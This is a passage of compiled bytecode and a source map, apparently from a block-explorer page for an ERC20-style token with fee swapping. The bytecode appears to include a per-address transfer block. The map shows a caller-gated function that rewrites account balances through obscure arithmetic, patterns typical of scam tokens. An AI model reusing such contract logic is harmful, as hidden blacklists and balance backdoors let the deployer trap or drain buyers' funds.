ffffffffffffffffffffffffffffffffffffffff16146115d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c790612dde565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6116956117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611722576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171990612dde565b60405180910390fd5b81600a8190555080600b81905550611747600b54600a5461175190919063ffffffff16565b6010819055505050565b60008082846117609190612f23565b9050838110156117a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179c90612d9e565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181e90612e1e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611897576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188e90612d7e565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119759190612e3e565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156119f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ea90612dfe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5a90612d5e565b60405180910390fd5b601660149054906101000a900460ff1615611a8a57611a83848484611e3f565b9050611d8a565b6000611a9530610dfa565b905060006014548210159050808015611abb5750601660149054906101000a900460ff16155b8015611b115750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b295750601660159054906101000a900460ff165b15611b3857611b3782612012565b5b611b8a84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df590919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c705750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c8457611c7f878787612118565b611c86565b845b9050611cda81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175190919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d7a9190612e3e565b60405180910390a3600193505050505b9392505050565b6000838311158290611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd09190612d3c565b60405180910390fd5b5060008385611de89190613004565b9050809150509392505050565b6000611e3783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d91565b905092915050565b6000611eca826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d919092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f5f82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175190919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611fff9190612e3e565b60405180910390a3600190509392505050565b6001601660146101000a81548160ff021916908315150217905550600081905061203b816123e8565b600047905060006012549050600061207082612062600f548661263d90919063ffffffff16565b6126b890919063ffffffff16565b905060006120878285611df590919063ffffffff16565b905060008111156120bf576120be600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612702565b5b60008211156120f5576120f4600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612702565b5b50505050506000601660146101000a81548160ff02191690831515021790555050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166121c857600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121c757600080fd5b5b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156122495761224260646122346010548661263d90919063ffffffff16565b6126b890919063ffffffff16565b90506122c7565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156122c6576122c360646122b56011548661263d90919063ffffffff16565b6126b890919063ffffffff16565b90505b5b60008111156123cb5761232281600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175190919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516123c29190612e3e565b60405180910390a35b6123de8184611df590919063ffffffff16565b9150509392505050565b6000600267ffffffffffffffff81111561240557612404613251565b5b6040519080825280602002602001820160405280156124335781602001602082028036833780820191505090505b509050308160008151811061244b5761244a613222565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124ed57600080fd5b505afa158015612501573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125259190612887565b8160018151811061253957612538613222565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506125a030601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117b7565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612604959493929190612e59565b600060405180830381600087803b15801561261e57600080fd5b505af192505050801561262f575060015b61263857612639565b5b5050565b60008083141561265057600090506126b2565b6000828461265e9190612faa565b905082848261266d9190612f79565b146126ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a490612dbe565b60405180910390fd5b809150505b92915050565b60006126fa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061274d565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612748573d6000803e3d6000fd5b505050565b60008083118290612794576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278b9190612d3c565b60405180910390fd5b50600083856127a39190612f79565b9050809150509392505050565b6000813590506127bf81613487565b92915050565b6000815190506127d481613487565b92915050565b60008083601f8401126127f0576127ef613285565b5b8235905067ffffffffffffffff81111561280d5761280c613280565b5b6020830191508360208202830111156128295761282861328a565b5b9250929050565b60008135905061283f8161349e565b92915050565b600081359050612854816134b5565b92915050565b6000602082840312156128705761286f613294565b5b600061287e848285016127b0565b91505092915050565b60006020828403121561289d5761289c613294565b5b60006128ab848285016127c5565b91505092915050565b600080604083850312156128cb576128ca613294565b5b60006128d9858286016127b0565b92505060206128ea858286016127b0565b9150509250929050565b60008060006060848603121561290d5761290c613294565b5b600061291b868287016127b0565b935050602061292c868287016127b0565b925050604061293d86828701612845565b9150509250925092565b6000806040838503121561295e5761295d613294565b5b600061296c858286016127b0565b925050602061297d85828601612845565b9150509250929050565b6000806000604084860312156129a05761299f613294565b5b600084013567ffffffffffffffff8111156129be576129bd61328f565b5b6129ca868287016127da565b935093505060206129dd86828701612830565b9150509250925092565b6000602082840312156129fd576129fc613294565b5b6000612a0b84828501612830565b91505092915050565b600080600060408486031215612a2d57612a2c613294565b5b6000612a3b86828701612830565b935050602084013567ffffffffffffffff811115612a5c57612a5b61328f565b5b612a68868287016127da565b92509250509250925092565b60008060408385031215612a8b57612a8a613294565b5b6000612a9985828601612845565b9250506020612aaa85828601612845565b9150509250929050565b6000612ac08383612adb565b60208301905092915050565b612ad58161304a565b82525050565b612ae481613038565b82525050565b612af381613038565b82525050565b6000612b0482612ede565b612b0e8185612f01565b9350612b1983612ece565b8060005b83811015612b4a578151612b318882612ab4565b9750612b3c83612ef4565b925050600181019050612b1d565b5085935050505092915050565b612b608161305c565b82525050565b612b6f8161309f565b82525050565b612b7e816130b1565b82525050565b6000612b8f82612ee9565b612b998185612f12565b9350612ba98185602086016130e7565b612bb281613299565b840191505092915050565b6000612bca602383612f12565b9150612bd5826132aa565b604082019050919050565b6000612bed602283612f12565b9150612bf8826132f9565b604082019050919050565b6000612c10601b83612f12565b9150612c1b82613348565b602082019050919050565b6000612c33602183612f12565b9150612c3e82613371565b604082019050919050565b6000612c56602083612f12565b9150612c61826133c0565b602082019050919050565b6000612c79602583612f12565b9150612c84826133e9565b604082019050919050565b6000612c9c602483612f12565b9150612ca782613438565b604082019050919050565b612cbb81613088565b82525050565b612cca81613092565b82525050565b6000602082019050612ce56000830184612aea565b92915050565b6000602082019050612d006000830184612acc565b92915050565b6000602082019050612d1b6000830184612b57565b92915050565b6000602082019050612d366000830184612b66565b92915050565b60006020820190508181036000830152612d568184612b84565b905092915050565b60006020820190508181036000830152612d7781612bbd565b9050919050565b60006020820190508181036000830152612d9781612be0565b9050919050565b60006020820190508181036000830152612db781612c03565b9050919050565b60006020820190508181036000830152612dd781612c26565b9050919050565b60006020820190508181036000830152612df781612c49565b9050919050565b60006020820190508181036000830152612e1781612c6c565b9050919050565b60006020820190508181036000830152612e3781612c8f565b9050919050565b6000602082019050612e536000830184612cb2565b92915050565b600060a082019050612e6e6000830188612cb2565b612e7b6020830187612b75565b8181036040830152612e8d8186612af9565b9050612e9c6060830185612aea565b612ea96080830184612cb2565b9695505050505050565b6000602082019050612ec86000830184612cc1565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612f2e82613088565b9150612f3983613088565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f6e57612f6d613195565b5b828201905092915050565b6000612f8482613088565b9150612f8f83613088565b925082612f9f57612f9e6131c4565b5b828204905092915050565b6000612fb582613088565b9150612fc083613088565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ff957612ff8613195565b5b828202905092915050565b600061300f82613088565b915061301a83613088565b92508282101561302d5761302c613195565b5b828203905092915050565b600061304382613068565b9050919050565b600061305582613068565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006130aa826130c3565b9050919050565b60006130bc82613088565b9050919050565b60006130ce826130d5565b9050919050565b60006130e082613068565b9050919050565b60005b838110156131055780820151818401526020810190506130ea565b83811115613114576000848401525b50505050565b6000600282049050600182168061313257607f821691505b60208210811415613146576131456131f3565b5b50919050565b600061315782613088565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561318a57613189613195565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61349081613038565b811461349b57600080fd5b50565b6134a78161305c565b81146134b257600080fd5b50565b6134be81613088565b81146134c957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fabf32e7aa6057877b52e193308ced2507d5a5f3e10791f002e6db13fad3108464736f6c63430008070033

Deployed Bytecode Sourcemap

3865:10007:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6415:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7709:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4117:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5061:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6692:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10209:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4164:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9078:128;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6601:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4373:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7078:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4430:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5176:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4699:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8696:242;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6800:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8223:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4823:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9683:217;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2941:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4076:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6506:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7581:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4868:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7304:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4740:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9383:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9908:293;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4573:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8946:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4531:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5109:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4616:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4659:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4991:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9558:113;;;;;;;;;;;;;:::i;:::-;;6927:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4482:40;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4779:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3155:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8449:239;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6415:83;6452:13;6485:5;6478:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6415:83;:::o;7709:161::-;7784:4;7801:39;7810:12;:10;:12::i;:::-;7824:7;7833:6;7801:8;:39::i;:::-;7858:4;7851:11;;7709:161;;;;:::o;4117:40::-;;;;;;;;;;;;;:::o;5061:41::-;;;;;;;;;;;;;:::o;6692:100::-;6745:7;6772:12;;6765:19;;6692:100;:::o;10209:313::-;10307:4;10324:36;10334:6;10342:9;10353:6;10324:9;:36::i;:::-;;10371:121;10380:6;10388:12;:10;:12::i;:::-;10402:89;10440:6;10402:89;;;;;;;;;;;;;;;;;:11;:19;10414:6;10402:19;;;;;;;;;;;;;;;:33;10422:12;:10;:12::i;:::-;10402:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;10371:8;:121::i;:::-;10510:4;10503:11;;10209:313;;;;;:::o;4164:81::-;;;:::o;9078:128::-;9131:7;9158:40;9175:22;9185:11;9175:9;:22::i;:::-;9158:12;;:16;;:40;;;;:::i;:::-;9151:47;;9078:128;:::o;6601:83::-;6642:5;6667:9;;;;;;;;;;;6660:16;;6601:83;:::o;4373:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;7078:218::-;7166:4;7183:83;7192:12;:10;:12::i;:::-;7206:7;7215:50;7254:10;7215:11;:25;7227:12;:10;:12::i;:::-;7215:25;;;;;;;;;;;;;;;:34;7241:7;7215:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;7183:8;:83::i;:::-;7284:4;7277:11;;7078:218;;;;:::o;4430:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;5176:40::-;;;;;;;;;;;;;:::o;4699:34::-;;;;:::o;8696:242::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8810:15:::1;8790:17;:35;;;;8851:10;8836:12;:25;;;;8895:35;8917:12;;8895:17;;:21;;:35;;;;:::i;:::-;8874:18;:56;;;;8696:242:::0;;:::o;6800:119::-;6866:7;6893:9;:18;6903:7;6893:18;;;;;;;;;;;;;;;;6886:25;;6800:119;;;:::o;8223:218::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8327:9:::1;8323:111;8346:7;;:14;;8342:1;:18;8323:111;;;8414:8;8382:17;:29;8400:7;;8408:1;8400:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;8382:29;;;;;;;;;;;;;;;;:40;;;;;;;;;;;;;;;;;;8362:3;;;;;:::i;:::-;;;;8323:111;;;;8223:218:::0;;;:::o;4823:38::-;;;;:::o;9683:217::-;9766:9;:7;:9::i;:::-;9791;9786:107;9806:11;;:18;;9802:1;:22;9786:107;;;9872:9;9846:7;:23;9854:11;;9866:1;9854:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;9846:23;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;9826:3;;;;;:::i;:::-;;;;9786:107;;;;9683:217;;;:::o;2941:79::-;2979:7;3006:6;;;;;;;;;;;2999:13;;2941:79;:::o;4076:34::-;;;;;;;;;;;;;:::o;6506:87::-;6545:13;6578:7;6571:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6506:87;:::o;7581:120::-;7643:7;7670:23;;7663:30;;7581:120;:::o;4868:44::-;;;;:::o;7304:269::-;7397:4;7414:129;7423:12;:10;:12::i;:::-;7437:7;7446:96;7485:15;7446:96;;;;;;;;;;;;;;;;;:11;:25;7458:12;:10;:12::i;:::-;7446:25;;;;;;;;;;;;;;;:34;7472:7;7446:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;7414:8;:129::i;:::-;7561:4;7554:11;;7304:269;;;;:::o;4740:30::-;;;;:::o;9383:167::-;9461:4;9478:42;9488:12;:10;:12::i;:::-;9502:9;9513:6;9478:9;:42::i;:::-;;9538:4;9531:11;;9383:167;;;;:::o;9908:293::-;9982:9;:7;:9::i;:::-;10002:15;10046:9;:18;10056:7;10046:18;;;;;;;;;;;;;;;;10042:1;10038;10024:11;10020:1;:15;;;;:::i;:::-;:19;;;;:::i;:::-;:23;;;;:::i;:::-;:44;;;;:::i;:::-;10002:62;;10075:18;10127:1;10114;10104:7;10096:5;:15;;;;:::i;:::-;:19;;;;:::i;:::-;:33;;;;:::i;:::-;10075:54;;10192:1;10179:10;10173:1;10161;:14;;;;:::i;:::-;:28;;;;:::i;:::-;:32;;;;:::i;:::-;10140:9;:18;10150:7;10140:18;;;;;;;;;;;;;;;:53;;;;9971:230;;9908:293;;:::o;4573:30::-;;;;:::o;8946:118::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9048:8:::1;9024:21;;:32;;;;;;;;;;;;;;;;;;8946:118:::0;:::o;4531:35::-;;;;:::o;5109:26::-;;;;;;;;;;;;;:::o;4616:36::-;;;;:::o;4659:31::-;;;;:::o;4991:60::-;;;;:::o;9558:113::-;9603:4;9599:64;;;9626:5;:36;;;;9651:11;;;;;;;;;;;9635:27;;:12;:10;:12::i;:::-;:27;;;9626:36;9618:45;;;;;;9599:64;9558:113::o;6927:143::-;7008:7;7035:11;:18;7047:5;7035:18;;;;;;;;;;;;;;;:27;7054:7;7035:27;;;;;;;;;;;;;;;;7028:34;;6927:143;;;;:::o;4482:40::-;;;;;;;;;;;;;;;;;;;;;;:::o;4779:37::-;;;;:::o;3155:157::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3238:10:::1;3229:6;::::0;:19:::1;;;;;;;;;;;;;;;;;;3293:10;3264:40;;3285:6;::::0;::::1;;;;;;;;3264:40;;;;;;;;;;;;3155:157:::0;:::o;8449:239::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8564:15:::1;8545:16;:34;;;;8604:10;8590:11;:24;;;;8647:33;8668:11;;8647:16;;:20;;:33;;;;:::i;:::-;8627:17;:53;;;;8449:239:::0;;:::o;1045:181::-;1103:7;1123:9;1139:1;1135;:5;;;;:::i;:::-;1123:17;;1164:1;1159;:6;;1151:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1217:1;1210:8;;;1045:181;;;;:::o;98:115::-;151:15;194:10;179:26;;98:115;:::o;7878:337::-;7988:1;7971:19;;:5;:19;;;;7963:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8069:1;8050:21;;:7;:21;;;;8042:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8153:6;8123:11;:18;8135:5;8123:18;;;;;;;;;;;;;;;:27;8142:7;8123:27;;;;;;;;;;;;;;;:36;;;;8191:7;8175:32;;8184:5;8175:32;;;8200:6;8175:32;;;;;;:::i;:::-;;;;;;;;7878:337;;;:::o;10532:1144::-;10610:4;10653:1;10637:18;;:4;:18;;;;10629:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10730:1;10716:16;;:2;:16;;;;10708:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;10796:16;;;;;;;;;;;10793:876;;;10845:32;10860:4;10866:2;10870:6;10845:14;:32::i;:::-;10838:39;;;;10793:876;10929:28;10960:24;10978:4;10960:9;:24::i;:::-;10929:55;;10999:28;11054:23;;11030:20;:47;;10999:78;;11096:23;:44;;;;;11124:16;;;;;;;;;;;11123:17;11096:44;:67;;;;;11145:12;:18;11158:4;11145:18;;;;;;;;;;;;;;;;;;;;;;;;;11144:19;11096:67;:92;;;;;11167:21;;;;;;;;;;;11096:92;11092:183;;;11223:36;11238:20;11223:14;:36::i;:::-;11092:183;11309:27;11329:6;11309:9;:15;11319:4;11309:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;11291:9;:15;11301:4;11291:15;;;;;;;;;;;;;;;:45;;;;11351:19;11374:17;:23;11392:4;11374:23;;;;;;;;;;;;;;;;;;;;;;;;;:48;;;;11401:17;:21;11419:2;11401:21;;;;;;;;;;;;;;;;;;;;;;;;;11374:48;11373:130;;11478:25;11486:4;11492:2;11496:6;11478:7;:25::i;:::-;11373:130;;;11469:6;11373:130;11351:152;;11548:30;11566:11;11548:9;:13;11558:2;11548:13;;;;;;;;;;;;;;;;:17;;:30;;;;:::i;:::-;11532:9;:13;11542:2;11532:13;;;;;;;;;;;;;;;:46;;;;11615:2;11600:31;;11609:4;11600:31;;;11619:11;11600:31;;;;;;:::i;:::-;;;;;;;;11653:4;11646:11;;;;;10532:1144;;;;;;:::o;1380:192::-;1466:7;1499:1;1494;:6;;1502:12;1486:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1526:9;1542:1;1538;:5;;;;:::i;:::-;1526:17;;1563:1;1556:8;;;1380:192;;;;;:::o;1236:136::-;1294:7;1321:43;1325:1;1328;1321:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1314:50;;1236:136;;;;:::o;11684:330::-;11777:4;11814:53;11836:6;11814:53;;;;;;;;;;;;;;;;;:9;:17;11824:6;11814:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;11794:9;:17;11804:6;11794:17;;;;;;;;;;;;;;;:73;;;;11901:32;11926:6;11901:9;:20;11911:9;11901:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;11878:9;:20;11888:9;11878:20;;;;;;;;;;;;;;;:55;;;;11966:9;11949:35;;11958:6;11949:35;;;11977:6;11949:35;;;;;;:::i;:::-;;;;;;;;12002:4;11995:11;;11684:330;;;;;:::o;12022:652::-;5276:4;5257:16;;:23;;;;;;;;;;;;;;;;;;12104:21:::1;12128:7;12104:31;;12146;12163:13;12146:16;:31::i;:::-;12188:22;12213:21;12188:46;;12247:19;12269:24;;12247:46;;12314:21;12338:47;12373:11;12338:30;12357:10;;12338:14;:18;;:30;;;;:::i;:::-;:34;;:47;;;;:::i;:::-;12314:71;;12396:26;12425:33;12444:13;12425:14;:18;;:33;;;;:::i;:::-;12396:62;;12495:1;12474:18;:22;12471:93;;;12511:53;12532:11;;;;;;;;;;;12545:18;12